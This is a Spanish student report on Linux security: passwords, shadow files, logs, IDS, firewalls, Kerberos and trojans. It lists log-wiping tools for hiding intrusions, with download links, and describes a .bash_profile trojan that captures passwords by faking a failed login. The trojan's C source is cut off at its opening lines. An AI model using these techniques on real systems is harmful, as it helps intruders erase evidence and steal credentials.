SEGURIDAD
EN LINUX
Indice
1. Introducción
1.1 Problemática de la Seguridad en las Redes
1.2La seguridad y el Sistema Operativo Linux
2. Seguridad
Física
2.1 Centro de operaciones de red
2.2 Topología de la red
2.3 Protección del hardware de red
3.Seguridad
de Contraseñas de Acceso
3.1 El archivo /etc/passwd
3.2 El archivo /etc/shadow
3.3 Ataques al archivo /etc/shadow
4. Logs
y sistemas de detección de intrusiones
4.1 Logging
4.2 Como borrar los logging del sistema
4.3 Ejemplos prácticos
4.4 El demonio syslog
4.5 Sistemas de detección de intrusiones
5.Firewalls
en Linux
5.1 Definición de Firewall
5.2 Componentes de un Firewall
5.3 Arquitecturas de los Firewall
6.Kerberos
6.1 Que es Kerberos
6.2 Arquitectura de Kerberos
6.3 Protocolo de autentificación de Kerberos
6.4 Problemas de Kerberos
7.Caballos
de Troya
7.1 Que es un Troyano
7.2 Ejemplo de un Troyano en Linux
1. INTRODUCCIÓN
1.1Problemática
de la Seguridad en las Redes
Hace unos diez años el problema de la seguridad en el mundo de la informática y las redes era mínimo ya que solo una minoría de la población disponía de ordenadores y aun una menor cantidad de ellos poseían una red. En la actualidad todo aquello ha cambiado Internet ha crecido desmesuradamente desde sus inicios como la red militar ARPANET y en la actualidad gran parte de la población tiene acceso a Internet, la red de redes a nivel mundial, desde el hogar, el lugar de trabajo o el lugar de estudio(Aunque España estemos muy lejos de llegar a la media de EEUU y de el resto de Europa). Este aumento de usuarios ha provocado el aumento masivo de información en la red pero también ha provocado la aparición de usuarios que pretenden acceder a información privada con unos fines muy distintos, en ocasiones tan solo por mera curiosidad y en otros casos para obtener un beneficios utilizando estos datos.
El crecimiento de la red la ha convertido en un entorno hostil donde todos los días se libran batallas entre los hackers, usuarios perniciosos que intentan acceder ilícitamente a sistemas informáticos de otras personas, y los administradores de sistemas, responsables de los sistemas informáticos una de cuyas funciones(entre otras muchas) es la de velar por la seguridad de los sistemas informáticos y la información que contienen.
1.2La
Seguridad y el Sistema Operativo Linux
Aunque el Sistema Operativo Linux es mucho mas seguro que algunos de los sistemas operativos que monopolizan el mercado, Linux debe ser configurado de forma adecuada para conseguir ese grado de seguridad, de otro modo el grado de seguridad que Linux puede ofrecer es similar al resto de sistemas operativos. La responsabilidad de configurar Linux recae en la mayoría de ocasiones sobre el Administrador.
En Linux al igual que en todos los sistemas operativos aparecen continuamente bugs y back oriffices en las aplicaciones o en el mismo sistema operativo que permiten conseguir unos determinados privilegios en el sistema a usuarios no autorizados, es obligación del Administrador el conocer con la mayor prontitud posible la existencia de estos fallos de seguridad y de aplicar los correspondientes correcciones en el sistema para evitarlo.
Es
el objetivo de este trabajo el de dar una visión muy general del
campo de la seguridad en Linux, ya que el tema es muy amplio y podrían
escribirse millones de paginas. Para mas información consultar la
bibliografía en las paginas finales.
2. SEGURIDAD FÍSICA
2.1Centro
de operaciones de red
El atacante que lo tiene mas fácil es aquel que ya tiene una serie de privilegios en el sistema, aunque estos solamente sean una cuenta de acceso muy restringido. Así pues antes de pensar en los posibles atacantes externos a nuestro sistema debemos preocuparnos de la seguridad interna de nuestra red, es decir quienes de nuestros empleados acceden a ella y con que permisos. Partiendo de esta premisa llegamos a lanecesidad de la creación de un ?Centro de Operaciones de Red? .
Un Centro de Operaciones de Red consiste en un area restringida en la que se encuentran los servidores. Estos deben estar fijados al suelo de alguna manera junto con el hardware de red esencial, a este centro de operaciones deberían tener acceso un numero mínimo de personas y todas aquellas personas que estén autorizadas deberían tener claves. También merece la pena llevar un control de todos los accesos que se realizan a la sala de computadores. Si el presupuesto de la empresa lo permite se deben instalar sistemas de vigilancia como circuitos cerrados de TV o imágenes instantáneas secuenciales.
2.2Topología
de la red
La topología de red se compone de la distribución de la red, sus distintos componentes y la forma en que se conectan entre sí. La topología de red determina el modo en que se conectan los dispositivos de hardware y la forma en que fluye la información a través de dichas conexiones por ello esa muy relacionado con la seguridad. (No solo en Linux sino en todos los sistemas operativos).
Existen muchas topologías de red pero las mas utilizadas en las redes de area local son tres: bus, anillo y estrella.
A continuación se describen los principales problemas de seguridad de cada tipo de redes(se suponen ya conocidas por el lector las características de cada tipo de red, en caso de no ser así consultar la bibliografía):
Topología de Bus: esta topología no es la mejor bajo Linux que normalmente utiliza tecnología cliente-servidor, al utilizar un único cable el numero de colisiones aumenta considerablemente y el servidor solo puede procesar una petición a la vez. Además posee una debilidad muy peligrosa, esta topología es muy vulnerable ante las escuchas(sniffers), cualquier estación de trabajo puede interceptar transmisiones dirigidas a sus vecinas.
Topología
de Anillo en la topología de anillo sigue existiendo un
único cable como en la topología de bus, pero mientras en
la topología de bus una estación podía caer y el resto
de estaciones seguir funcionando como si nada hubiese ocurrido, aquí
en el caso de que falle una estación el resto quedarían incomunicadas
ya que el paquete no puede circular a través del anillo. Esta topología
es muy vulnerable a escuchas(sniffers) ya que los paquetes atraviesan
un gran numero de estaciones de trabajo hasta llegar a su destino. También
es vulnerable a ataques de denegación de servicio ya que haciendo
caer una de las estaciones el resto quedan incomunicadas.
Topología de Estrella: la topología de estrella se caracteriza porque al contrario que en las anteriores topologías las estaciones de trabajo no están interconectadas entre si directamente, sino que se interconectan a través de un dispositivo hardware(un switch o un hub). Esto elimina el problema de que si nuestro atacante hace caer una estación caigan las otras, el problema viene si el atacante consigue hacer caer el dispositivo hardware que interconecta todas las estaciones. Otra importante ventaja de la topología de estrella es que con hardware de red avanzado se puede segmentar la red(dividirla en islas) y proteger el flujo de datos mediante el cifrado.
2.3Protección
del Hardware de red
La protección del hardware de red es muy importante en todas las redes ya que haciendo caer los dispositivos hardware que integran nuestra red los atacantes la pueden dejar totalmente inutilizada, los puntos vulnerables del hardware de red son mucho menores a aquellos que encontramos en el software. En la mayoría de casos los riesgos de seguridad del hardware de red se deben a usuarios inexpertos o a errores en la configuración. Un ejemplo típico de estos fallos suele ser no activar el cifrado o no eliminar las cuentas por defecto que vienen de fabrica en los dispositivos y que no necesitan contraseña. Así pues deben tomarse una serie de medidas:
-Definir siempre las contraseñas de administración para evitar que los atacantes puedan acceder al sistema a través de valores predeterminados.
-La mayoría de routers admiten cifrado pero este no se emplea por defecto. Es necesario activarlo.
-Si el hardware de red contiene otras opciones de seguridad como opciones de verificación por expiración del tiempo de espera o por sesiones, utilizarlas evitará que los atacantes puedan tomar el control y burlar las sesiones.
-Si no se necesita alguno de los servicios(telnet, ftp,.....) desactívelo puesto que puede ser el punto de entrada de los atacantes.
3. SEGURIDAD DE CONTRASEÑAS DE ACCESO
3.1 El archivo /etc/passwd
En el sistema operativo Linux todo usuario tiene una cuenta mediante la que accede al sistema operativo ya sea de forma remota mediante servicios de gestión remota(como telnet) o directamente en la maquina. Cada cuenta de usuario se compone de:
-Un
identificador único en toda la maquina al que llamaremos login
-Un password que corresponderá a ese login
-Un userid o numero de identificación del usuario. Este numero se adjuntará con cada uno de los procesos de ese usuario. Aunque se puede elegir cualquier numero entre 0 y el 65534 es conveniente reservar un bloque de números específicamente para los usuarios.
-Un groupid o numero de identificación del grupo que refleja el grupo nativo del usuario. Los usuarios pueden pertenecer a muchos grupos pero siempre tienen un grupo nativo que es el que se les asigna al entrar en el sistema.
-Un campo en el que se escribe el nombre real
-Un campo donde se define el directorio de trabajo del usuario dentro de la jerarquia de directorios de linux.
-Un campo donde se almacena la shell(interprete de comandos) utilizará por defecto el usuario cuando entre en el sistema.
Toda esta información es almacenada por el sistema operativo Linux para cada usuario en el archivo /etc/passwd, este archivo es un archivo de texto en donde cada linea contiene la información de arriba relativa a un usuario separando cada campo por dos puntos. Dado que el archivo tiene permisos de lectura para todos los usuarios de la máquina supone un riesgo nada recomendable que en el segundo campo aparezca la password(aunque esta aparezca encriptada).
El sistema de encriptación que se utiliza en la password es un estandar definido hace aproximadamente 25 años: DES(Data Encryption Standart). Este estandar es vulnerable a los ataques con diccionario, un ataque con diccionario consiste en codificar utilizando DES palabras comunes que los usuarios pueden haber utilizado como contraseña y compararla con el segundo campo del archivo /etc/passwd en caso de ser iguales el atacante ya ha conseguido una cuenta de usuario. Para realizar un ataque con diccionario el atacante necesita tener acceso al archivo /etc/passwd por ello debera tener ya una cuenta en el sistema o conseguir entrar mediante otros metodos(como por ej. Contraseñas por defecto, trashing,....).
Existen herramientas que facilitan el ataque con diccionario con multiples opciones, las mas comunes son Crack, John the Ripper, Lard,......
3.2 El archivo /etc/shadow
Dada la vulnerabilidad del archivo /etc/passwd de los sistemas Linux se ha creado un paquete de shadow(Password Shadow Suite), instalando el paquete shadow el archivo /etc/passwd sigue siendo legible por todos los usuarios pero las contraseñas del sistema no se encuentran en él, en su lugar las contraseñas de los usuarios se almacenan en /etc/shadow que solo tiene permisos de lectura y escritura para el root, también en este caso las contraseñas se encuentran encriptadas con DES.
Ademas de almacenar las contraseñas de los usuarios encriptadas, el archivo /etc/shadow ofrece una serie de reglas especiales sobre las contraseñas para aumentar la seguridad del sistema. El /etc/shadow tiene una estructura similar al /etc/passswd, los campos están separados por dos puntos(existen nueve campos) y son los siguientes:
-El nombre del usuario
-La contraseña del usuario encriptada en DES
-El numero de días desde el 1 de enero de 1970, fecha en que se cambió la contraseña por ultima vez
-El numero de días que quedan antes de que se permita al usuario cambiar su contraseña
-El numero de días que quedan antes de que el usuario tenga que cambiar su contraseña
-El numero de días de antelación con que se avisa al usuario de que pronto tendrá que cambiar su contraseña
-El numero de días que quedan para que el usuario cambie su contraseña antes de que su cuenta sea cancelada
-El numero de días desde el 1 de enero de 1970 que la cuenta ha sido cancelada
-El último campo esta reservado
Estas opciones obligan al usuario a cambiar su contraseña obligatoriamente cada cierto tiempo(especificado en el campo numero cinco) ya que se puede especificar que en caso contrario la cuenta quede bloqueada.
El paquete shadow lleva múltiples utilidades para la gestión de usuario, grupos y contraseñas. Algunos de los comandos son sustitutos para comandos ya existentes en Linux estándar como por ej. su, login, passwd, .....etc. ya que estos comandos anteriormente solamente utilizaban el archivo /etc/passwd y con el paquete shadow instalado deberán utilizar /etc/passwd y /etc/shadow. También existen comandos nativos del paquete shadow que no existían en Linux estándar como por ej. pwck(utilizado para realizar la verificación de los campos entre /etc/shadow y /etc/passwd), groupadd(para añadir nuevos grupos), etc. (Para ver una lista completa de los comandos que ofrece consultar la bibliografía)
Aunque
el paquete shadow aumenta considerablemente la seguridad de las contraseñas
de nuestro sistema existen bugs que pueden permitir acceder igualmente
al archivo y hay que recordar que cualquier usuario que consiga privilegios
de root en el sistema puede acceder a el.
3.3 Ataques al archivo
/etc/shadow
A continuación se va a describir un ataque común al archivo /etc/shadow y van a ser probados por mi en un sistema Linux Red Hat 7.1 con el Kernel 2.4, el entorno KDE 2.1 y GNOME 1.4 y también serán probados en una maquina IBM con el sistema operativo AIX (anubis).
En la maquina Linux el archivo passwd se encuentra en /etc/passwd y el shadow en /etc/passwd en la maquina con AIX passwd se encuentra en /etc/passwd y shadow en el directorio /etc/security sobre el que no tenemos permisos en el archivo passwd.
4. LOGS Y SISTEMAS DE DETECCIÓN
DE INTRUSIONES
4.1 LOGGING
Se puede definir logging como cualquier procedimiento por el que un sistema operativo o aplicación graba eventos mientras ocurren y los guarda para un examen posterior. En el contexto de la seguridad el logging se utiliza para preservar un registro de las acciones dañinas de un atacante. Los logs ofrecen la única evidencia real de que ha ocurrido un delito.
El
Linux los archivos de logging se guardan en el directorio /var/log
Analicemos mas exhaustivamente las utilidades que generan los archivos log en el sistema operativo Linux:
-Lastlog: da formato e imprime los contenidos del ultimo log login(var/log/lastlog), Se imprimirán el nombre del login, puerto y la última hora del login. Por defecto lastlog informa de todos los usuarios del sistema(aquellos enumerados en /etc/passwd). Se puede especificar que solo muestre información de un usuario mediante la opción -u.
-Last: busca a través del archivo /var/log/wtmp u otro archivo designado por el administrador para almacenar los logs y muestra una lista de todos los usuarios que han entrado(log in) y salido(log out) del sistema desde que se creó el archivo. Last almacena los siguientes datos:
oNombre de usuario(login)
oLa terminal(o servicio) que utilizo el usuario
oLa dirección IP del usuario
oLa fecha y hora entrada y salida
oLa duración de la sesión
La orden last soporta varias opciones en la línea de comandos que son las siguientes:
-aMediante esta opción last mostrará la información del nombre de host en el último campo
-d Esta opción especifica que last mostrará no solo el nombre del host del objetivo sino también su dirección IP
-n [numero] Mediante esta opción se puede especificar cuantas líneas se desea imprimir de last.
-REsta opción especifica que last debería omitir el campo del nombre del host de salida.
-x Esta opción especifica que last debe mostrar las recargas del sistema y ejecuciones de cambio de nivel
4.2 Como borrar los
logging del sistema
Los atacantes a nuestro sistema saben que /var/log/lastlog y /var/log/wtmpd pueden descubrirlos. Por tanto todos los atacantes tienen programas que sortean y burlan los sistemas de logging predefinidos por el sistema operativo.
He aquí una lista de algunos de los programas que son utilizados con esta finalidad
-cloak: Funciona no solo con Linux sino también en otros sistemas operativos como Ultrix y HP/UX. Se puede bajar de la siguiente dirección:
http://agape.trilidun.org/~wart/hack/programhiders/clear_log/cloak.c
-cloak2: Según su autor es una poderosa herramienta de shadowing que puede encontrarse en:
http://www.k-elektronik.org/arsip/eksploit/stealthtools/cloak2.c
-utclean: Es una utilidad que elimina cualquier evidencia de nuestra presencia en wtmp, wtmpx, utmp, utmpx y lastlog. Se encuentra en:
http://www.hoobie.net/security/exploits/hacking/utclean.c
-remove: limpia utmp, wtmp y lastlog borrando todo evidencia de nuestra presencia, se dice que remove es uno de los mejores programas con esta finalidad puesto que elimina las entradas de los archivos sin dejar huecos. (Los huecos pueden ser una pista segura para el administrador si es un poco observador). Remove se puede conseguir en:
http://nmrc.org/files/unix/remove.c
-Utmpedit: es un editor utmp sencillo y rápido. Puede bajarse en:
http://www.k-elektronik.org/arsip/eskploit/stealth-tools/utmpedit.c
-Marry: es un editor potente de utmp, wtmp y lastlog. Puede encontrarse en:
http://www.society-of-shadows.com/exploits/bin/marry.c
Todas estas paginas web pueden haber desaparecido debido al dinamismo de internet sobre todo en lo que a temas de seguridad se refiere(de todas maneras puede buscar estos programas y muchos mas en www.astalavista.com).
También hay que tener en cuenta que estos programas solo tienen en cuenta los logging estandar del sistema por lo que si los administradores instalan una herramienta de logging no estandar es posible que estos programas limpiadores de log no funciones y si el atacante no es muy experimentado pensara que su intrusión no es conocida por los administradores del sistema. Otra buena medida de seguridad aparte de las herramientas de logging no estandar consistira en escribir los logs en un medio que permita una sola escritura o un servidor de log remoto.
4.3 Ejemplos prácticos
Para la realización de estos ejemplos se han utilizado la distribución red hat 7.1, en esta distribución los archivos de log se situan en /var/log/wtmp y /var/log/lastlog(he hecho esta aclaración porque en los paths que especifica cloak aparecen otros directorios).
Ejecutando en el sistema ?lastlog? aparece:
Username Port From Latest
root :0 jue ago 23 09:13:01 +0200 2001
al014401 :0 sáb ago 25 09:15:16 +0200 2001
bin **Never logged in**
daemon **Never logged in**
adm **Never logged in**
Aunque existen muchas mas no merece la pena poner toda la lista.
al014401 pts/1 Sat Aug 25 09:21 still logged in
al014401 pts/3 Sat Aug 25 09:20 - 09:20 (00:00)
al014401 pts/2 Sat Aug 25 09:20 still logged in
wtmp begins Sat Aug 25 09:20:22 2001
Aparece solamente un usuario debido a que el comando ?last? inicializa el archivo /var/log/wtmp cada vez que arranca el sistema operativo, como acabábamos de arrancar el sistema y solamente ha entrado el usuario al014401, solo aparece esta cuenta en el sistema.
Se ha intentado utilizar ?cloak? para borrar automáticamente los logs del sistema operativo, en un principio el programa da warnings en la compilación:
cloak.c: In function `lastzap':
cloak.c:573: warning: type mismatch with previous implicit declaration
cloak.c:497: warning: previous implicit declaration of `lseek'
4.4
El demonio syslogd
El demonio syslogd se lanza automáticamente al arrancar el sistema Linux y es el encargado de guardar informes sobre el funcionamiento de la maquina. Recibe mensajes de las diferentes partes del sistema(núcleo, programas,....) y los envía o almacena en diferentes localizaciones, tanto locales como remotas siguiendo un criterio definido en el fichero de configuración /etc/syslog.conf donde especificamos las reglas a seguir para gestionar el almacenamiento de logs del sistema. En el archivo /etc/syslog/ cada regla tiene dos campos un campo de selección y un campo de acción, separados por espacios y tabuladores:
-El campo de selección esta formad de dos partes una del servicio que envía el mensaje y otra de su prioridad, separadas por un punto, ambas son indiferentes a mayúsculas y minúsculas. La parte del servicio contiene una de las siguientes palabras clave: auth, auth-priv, cron, daemon, kern, lpr, mail, mark, news, security, syslog, user, uucp y local 10 hasta local 17. Esta parte especifica el subsistema que ha generado ese mensaje. La prioridad esta compuesta de uno de los siguientes terminos: debug, info, notice, warning, warn, err, error, crit, alert, emerg y panic. La prioridad define la gravedad o importancia del mensaje almacenado. La lista de arriba se ha escrito en orden ascendente.
-El campo de acción describe el destino de los mensajes que puede ser:
Un fichero plano: normalmente todos los mensajes del sistema son almacenados en ficheros planos, en este caso hemos de especificar el path completo.
Un terminal: existe la posibilidad de enviar los mensajes a una determinada terminal, de este modo podemos tener uno de los terminales virtuales(que los sistemas Linux ofrecen) dedicado a listar los mensajes del sistema que podrán ser consultados solo cambiando a ese terminal.
Una tubería con nombre: algunas versiones de syslogd permiten enviar registros a ficheros de tipo pipe anteponiendo el carácter ?|? al path donde se encuentra el archivo pipe, este archivo debe de existir antes de iniciar el demonio syslog para que sea accesible.
Una maquina remota: se pueden enviar los mensajes del sistema a otra máquina, de manera que se almacenarán remotamente, esto es util si tenemos una maquina segura en la que podemos confiar, ya que de esta manera los mensajes no se podrán modificar aunque los atacantes consigan introducirse en nuestra maquina.
Unos usuarios del sistema: se especifica una lista de usuarios que recibiran los mensajes para ello hay que escribir los login separados por comas.
Todos los usuarios que esten conectados
4.5
Sistemas de detección de intrusiones
La detección de intrusiones consiste en utilizar herramientas inteligentes y automáticas para detectar intentos de intrusión en tiempo real. Esas herramientas se llaman sistemas de detección de intrusiones. Existen dos tipos de sistemas de detección de intrusiones:
-Sistemas basados en normas: basados en bibliotecas y bases de datos de ataques y firmas responsables de ataques conocidos. Cuando en la red se da una norma de las que existen esta se almacena como intento de intrusión en el sistema. El problema que tiene esto es que las bases de datos de ataques deben estar siempre actualizadas ya que aparecen nuevos ataques constantemente, además en ocasiones las reglas pueden ser demasiado especificas y no registrar como ataques aquellos que varíen ligeramente su forma de actuación.
-Sistemas
adaptables: emplean técnicas mas avanzadas que los anteriores,
incluyendo la inteligencia artificial, para reconocer firmas de ataque
conocidas como los anteriores y para aprender otras nuevas. Su desventaja
es que estos sistemas son de muy alto coste y necesitan personal de mantenimiento
altamente cualificado(conocimientos avanzados de matemáticas y estadística).
En los sistemas de detección de intrusiones basados en normas hay dos métodos:
-Prevención: la herramienta de detección de intrusiones escucha el trafico de la red. Cuando se detecta una actividad sospechosa por parte de algún usuario, el sistema actúa de la manera que le hayamos especificado nosotros para evitar el ataque.
-Reacción: la herramienta de detección de intrusiones observa los logs del sistema. Cuando se detecta una actividad sospechosa actúa para evitar el ataque.
Como conclusión podemos sacar que los sistemas de detección de intrusiones son un muy buen complemento para las logging que ofrece el sistema operativo y tienen la ventaja de que si el atacante no es muy experimentado este no sabrá que disponemos de ellos. Algunos ejemplos de estos sistemas son:
-Chkwtmp: es una herramienta que detecta las alteraciones en los archivos log del sistema.
-Tcplogd:
tcplogd detecta rastreos silenciosos de los atacantes. (Un rastreo silencioso
consiste en utilizar conexiones medio abiertas difíciles de detectar
para escanear una determinada máquina.)
-Hostentry:
es una herramienta de detección de intrusiones que busca anomalias
de login. Esta escrito en Python.
-Shadow:
es otro detector de rastreos silenciosos como Tcplogd.
5. FIREWALLS EN LINUX
5.1 Definición de Firewall
Un firewall es un dispositivo que evita que entren atacantes en nuestra red interna. Nos protege de el entorno hostil del exterior. Un firewall puede evaluar si las personas que acceden a nuestra red (o a nuestro ordenador) están autorizadas para ello, cuando un host no autorizado realiza peticiones a nuestra máquina sus peticiones son ignoradas.
Así podemos decir que los firewall desarrollan dos tipos de tareas:
-Filtro y análisis de paquetes: los firewall analizan los paquetes entrantes de múltiples protocolos. Según el tipo de paquete y su procedencia podemos definir la respuesta que queremos que de el firewall.
-Bloqueo de protocolo y contenido: los firewall permiten proteger contenidos, con esto quiere decir que nos pueden proteger del código dañino incluido en lenguajes como Java, Javascript, VBScript, Actives y otros.
Un firewall normalmente consta de una maquina independiente, a esta maquina se le denomina host bastión y este host tiene como función ser el punto de enlace entre las maquinas de la red interna y el resto de maquinas y redes que componen la red externa, todo lo que salga y entra de nuestra red deberá pasar obligatoriamente por este host, este host se encarga de esconder la configuración de nuestra red hacia fuera. Ademas los firewall presentan los chokes, un choke es un dispositivo hardware encargado de filtrar el trafico de nuestra red, se encarga de permitir o denegar el tráfico a través del firewall, puede ser implementado mediante el host bastión o mediante otros dispositivos hardware(routers, etc...).
Los firewall presentan dos graves problemas de seguridad el primero de ellos centralizan todas las medidas en un único sistema de forma que si este se ve comprometido y el resto de nuestra red no esta lo suficientemente protegido el atacante consigue dejar fuera de servicio a toda nuestra subred consiguiendo el control de una sola maquina, el segundo problema es la falsa sensación de seguridad que el firewall proporciona, el administrador suele pensar que la seguridad de la red es muy alta una vez instalado el firewall y por eso descuida la vigilancia de los equipos de la red, esto puede tener consecuencias fatales si un usuario externo consigue acceder a nuestro firewall ya que como hemos dicho en el primer inconveniente se haría con toda nuestra red. Ademas el firewall no evita los ataques de los usuarios internos de nuestra red.
5.2 Componentes de un firewall
En todo firewall existen tres componentes básico para los que debemos implementar mecanismos: el filtrado de paquetes, el proxy de aplicación y la monitorización y detección de actividades sospechosas.
5.3 Arquitecturas de los firewall
Firewall de filtrado
de paquetes
Una arquitectura muy sencilla puede consistir en un dispositivo encargado del filtrado de paquetes(un choke), esta es la arquitectura de los firewall mas antiguos, los mas simples de implementar y suele estar en organizaciones donde el nivel de seguridad requerido no es muy alto. Elegir un firewall tan sencillo en ocasiones puede ser problemático ya que los chokes no disponen de un sistema de monitorización sofisticado por lo que muchas veces el administrador no puede determinar si el router esta siendo atacado, además las reglas de filtrado pueden ser complejas de establecer.
6. KERBEROS
6.1 Que es ?Kerberos?
Kerberos es un sistema de autentificación a redes de computadores utilizado por Linux y otros sistemas Unix, es decir, un sistema que da o deniega el acceso a determinados usuarios o maquinas a una determinada red. Se encuentra disposnible un muchos de los sistemas Linux y viene integrado en el OSF/DCE(Distributed computing environment). Esta recomendado para sistemas operativos distribuidos en los que la autenticación es una pieza fundamental para su funcionamiento, el servidor debe conocer la identidad de un cliente para decidir sobre la concesión de un servicio o la asignación de privilegios especiales.
El uso de Kerberos se produce principalmente en el login, en el acceso a otros servidores y en el acceso a sistemas de ficheros en red como el NFS(soportado por Linux). Kerberos se puede implementar en un servidor que se ejecute en una maquina segura mediante un conjunto de bibliotecas que utilizan tanto los clientes como las aplicaciones, se trata de un sistema fácilmente escalable y que admite replicación.
6.2 Arquitectura de Kerberos
Un servidor Kerberos se denomina KDC y provee de dos servicios fundamentales: el de autenticación y el de tickets. El primero tiene la función de autentificar inicialmente a los clientes y proporcionarles un ticket para comunicarse con el segundo, el servidor de tickets que proporcionará a los clientes los permisos necesarios para comunicarse con un servidor final que es quien realmente ofrece un servicio.
La arquitectura Kerberos esta basada en tres objetos de seguridad: ?Clave de sesión?, ?Ticket? y ?Autentificador?
-Clave de sesión: es una clave secreta generada por Kerberos y expedida a un cliente para uso con un servidor durante una sesión: no es obligatorio utilizarla en toda la comunicación con el servidor, solo si el servidor lo requiere o si el servidor es un servidor de autentificación. Las claves de sesión se utilizan para minimizar el uso de las claves secretas de los diferentes agentes ya que estas son validas durante mucho tiempo por lo que es conveniente para minimizar ataques utilizarlas lo menos posible.
-El ticket: es un testigo expedido a un cliente del servicio de tickets de Kerberos para solicitar los servicios de un servidor; garantiza que el cliente ha sido autentificado recientemente.
-El autenticador es un testigo construido por el cliente y enviado a un servidor para probar su identidad y la actualidad de la comunicación.
Kerberos sigue de cerca
el protocolo de Needham y Schoroeder con clave secreta, utilizando timestamps
como
pruebas de frescura con dos propósitos: evitar reenvios de viejos
mensajes capturados en la red o la reutilización de viejos tickets
obtenidos de zonas de memoria del usuario autorizado.
6.3 Protocolo de autentificación de Kerberos
El protocolo de autenticación de Kerberos es un proceso en el que diferentes elementos colaboran para conseguir identificar a un cliente que solicita un servicio ante un servidor que lo ofrece. Este proceso se realiza en tres etapas:
-Login: Inicialmente el cliente (utilizando el programa login) necesita obtener las credenciales necesarias para acceder a otros servicios. Para ello cuando un usuario conecta sistema Linux que posee kerberos teclea en primer lugar su nombre de usuarios de la misma forma que en un sistema habitual, la diferencia está en que el programa login envia el nombre de usuario al servidor de autenticación de Kerberos para solicitar un ticket que le permita comunicarse posteriormente con el servidor de tickets. Si el usuario es conocido el servidor de autenticación retorna un mensaje que contiene una clave para la comunicación y un timestamp cifrado con la clave secreta del cliente, junto con un ticket para la comunicación con el servidor de tickets(TGS) cifrado con la clave secreta de este servidor.(esto es muy complejo de entender si no se tienen nociones básicas de criptografia)
-Obtención
de tickets: el cliente ya posee una clave de sesión para comunicarse
con el servidor de tickets y el ticket necesario para hacerlo, cifrado
con la clave secreta de este servidor(el cliente no podra descifrar el
ticket). Cuando el cliente necesita un determinado servicio es necesario
que disponga de un ticket para hacerlo por lo que lo solicita enviándole
al servidor de tickets un autenticador que el propio cliente genera, el
ticket T y el nombre del servicio al que desea acceder S y un indicador
de tiempo. ( para analizar este proceso mas detalladamente consultar
la bibliografía )
-Petición de servicio: tras obtener el ticket para comunicarse con el servidor que ofrece el servicio, el cliente ya está preparado para solicitar el servicio; para ello presenta la credencial autentificada ante el servidor final, que es quien va a prestar el servicio. El cliente que solicita el servicio se comporta de la misma forma que cuando solicitó el ticket T: envía a el servidor que ofrece el servicio el autentificador recién generado, el ticket y una petición que puede ir cifrada al servidor.(aunque no es necesario).
6.4 Problemas de Kerberos
Una vez analizado el funcionamiento de Kerberos, podemos pensar que es un sistema muy seguro, sin embargo(como la mayoría de los sistemas) también tiene problemas, tanto de seguridad como de implementación.
Uno de los principales problemas de Kerberos es que cualquier programa que lo utilice debe ser modificado para poder funcionar correctamente siguiendo un proceso denominado ?kerberización?, esto implica que se ha de disponer del código fuente de cada aplicación que se desee kerberizar y también supone la inversión de un tiempo considerable en la modificación del codigo. Este problema no afecta a la seguridad.
Un problema que si afecta a la seguridad de Kerberos es la centralización que presenta el sistema, para un correcto funcionamiento se ha de disponer siempre de un servidor de Kerberos de forma que si la maquina que esta funcionando como servidor de Kerberos falla, la red se convierte en inutilizable. Otra característica de la centralización de Kerberos podemos observarla en el hecho de que casi toda la seguridad reside en el servidor que mantiene la base de datos de claves, de forma que si este se ve comprometido, la red entera esta amenazada.
Otro de los problemas de seguridad es el uso de timestamps como pruebas de frescura en Kerberos, esto obliga a todas las maquinas que ejecutan servicios a mantener sus relojes minimamente sincronizados. Además el tiempo global ha de ser accesible a todas las estaciones, se necesitarán servidores de tiempo con los que los clientes puedan sincronizar periódicamente sus relojes(por ej. cada vez que arrancan o que se produce un determinado evento).
Los
problemas descritos anteriormente han hecho que Kerberos no este muy extendido;
en la mayoria de redes es suficiente con un protocolo de comunicación
cifrado para mantener la minima seguridad de forma que los usuarios prefieren
la sencillez a la complejidad de Kerberos.
7.
Caballos de troya
7.1 Que es un Troyano
En el mundo de la informática se conoce como troyano o caballo de troya para denominar a los programas en principio inocuos o incluso programas que realizan una finalidad en el sistema pero que cumplen en realidad una finalidad maliciosa. Algunos pueden ocultar acciones reales, un caballo de troya que se oculte tras una utilidad para visualizar ficheros puede realmente visualizar ficheros ficheros además de la acción maliciosa para el que fue creado.
La característica fundamental de estos programas es la de pasar desapercibido y de engañar a los usuarios que los utilizan. El usuario está ayudando al caballo de troya a llevar a cabo su misión sin ser consciente de ello ya que el programa cumple con la función que supuestamente debe hacer aunque realmente este haciendo algo mas.(de lo que el usuario no se da cuenta).
Una de las finalidades de los caballos de troya es la de ocultar la presencia de un intruso en la maquina mientras se encuentra en el sistema, es decir que los comandos (who, netstat, ps,....) no encuentren información del intruso en el sistema. Este tipo de caballos de troya se instalan en el sistema como versiones modificadas de estas herramientas, que siguen realizando su cometido pero solo parcialmente, es decir en el comando who por ej. seguirá mostrando todos los usuarios que se encuentran en el sistema en un momento dado, todos exceptuando al usuario intruso. Si el administrador ejecuta el comando who no podrá saber que existe un intruso en el sistema.
A veces los troyanos se confunden con virus puesto que muchos de ellos tienen algun tipo de acción destructiva contra el sistema. Un caballo de troya no infecta otros archivos(como los virus informáticos) sino que lo sustituye sin que el usuario se de cuenta de ello.
7.2 Ejemplo de un troyano en Linux
Un ejemplo típico y de fácil implementación de un troyano en linux es un script de inicialización de shell que captura la clave del usuario(cuando el accede a la maquina linux) y la guarda en un archivo donde el atacante pueda leerla, mientras esto se produce por pantalla se emula que el usuario ha introducido mal su contraseña, funcionando normalmente la segunda ocasión en que la introduce.
Para esto solo tenemos que saber que cuando un usuario
entra en el sistema se ejecuta el script de inicialización de la
shell que tenga asignada por defecto para el caso de la shell bash se trata
de .bash_profile y para el caso de una shell csh es el .csh. Esta información
se puede obtener de las paginas del manual de la distribución linux
asociadas a cada uno de los shells, para saber el shell de un determinado
usuario podemos consultar el archivo /etc/passwd. El caballo de troya simula
que el usuario se ha equivocado en la introducción de su password,
de forma que se ve obligado a volver a introducirla pero ahora en lugar
de estar autentificándose frente al sistema esta dando sus datos
al caballo de troya, este los almacenará en el lugar donde se le
haya especificado, el caballo de troya a continuación debe borrarse
o sobrescribirse con el programa original para que el usuario no se de
cuenta de que algo raro esta pasando.
El problema de este troyano es que para utilizarlo el usuario víctima tiene que haber cometido el error de haber dado permiso de escritura en su directorio raiz, en su archivo de inicialización mas concretamente.
He aquí el codigo fuente del troyano publicado en la revista Solo Linux(numero y articulo especificado en la bilbliografia)
#include
<stdio.h>
#include
<unistd.h>
#define
fichero ?/tmp/lista.txt?
Aqui especificamos donde queremos guardar las información(login y passwords) que no s consiga el troyano
Main(){
Char nombre[80];
Char
*password;
File
*f;
